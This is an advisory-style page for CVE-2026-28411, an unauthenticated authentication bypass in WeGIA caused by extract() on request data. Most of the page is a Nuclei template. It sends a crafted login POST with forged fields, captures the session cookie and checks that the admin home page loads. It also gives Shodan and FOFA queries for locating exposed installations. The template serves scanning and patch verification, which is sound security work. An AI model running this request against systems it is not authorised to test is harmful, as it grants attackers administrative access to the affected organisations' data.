CVE-2026-28411: WeGIA < 3.6.5 - Unauthenticated Authentication Bypass via extract()

2026-09-16 Unknown PoC Public

Description

WeGIA < 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.

PoC

id: CVE-2026-28411

info:
  name: WeGIA < 3.6.5 - Unauthenticated Authentication Bypass via extract()
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    WeGIA < 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized administrative access.
  remediation: |
    Upgrade to version 3.6.5 or later.
  reference:
    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-jg7w-3wg7-4vhh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28411
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-28411
    epss-score: 0.02316
    epss-percentile: 0.82568
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: labredescefetrj
    product: wegia
    shodan-query: http.html:"WeGIA"
    fofa-query: body="WeGIA"
  tags: cve,cve2026,wegia,auth-bypass,extract,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /WeGIA/html/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cpf=admin&c=true&id_pessoa=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "PHPSESSID")'
          - 'contains(header, "home.php")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /WeGIA/html/home.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "wegia", "menu", "processo", "funcionario")'
          - '!contains_any(tolower(body), "login", "cpf", "senha")'
        condition: and
# digest: 4b0a00483046022100aed0c27669d327831eb36900c4f6d80384d3bd462af5060f25948cf21176726a022100e8625dd7c7509bbcf0e7e2e527b34823957e82cab5c1030cfc68772a89458372:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.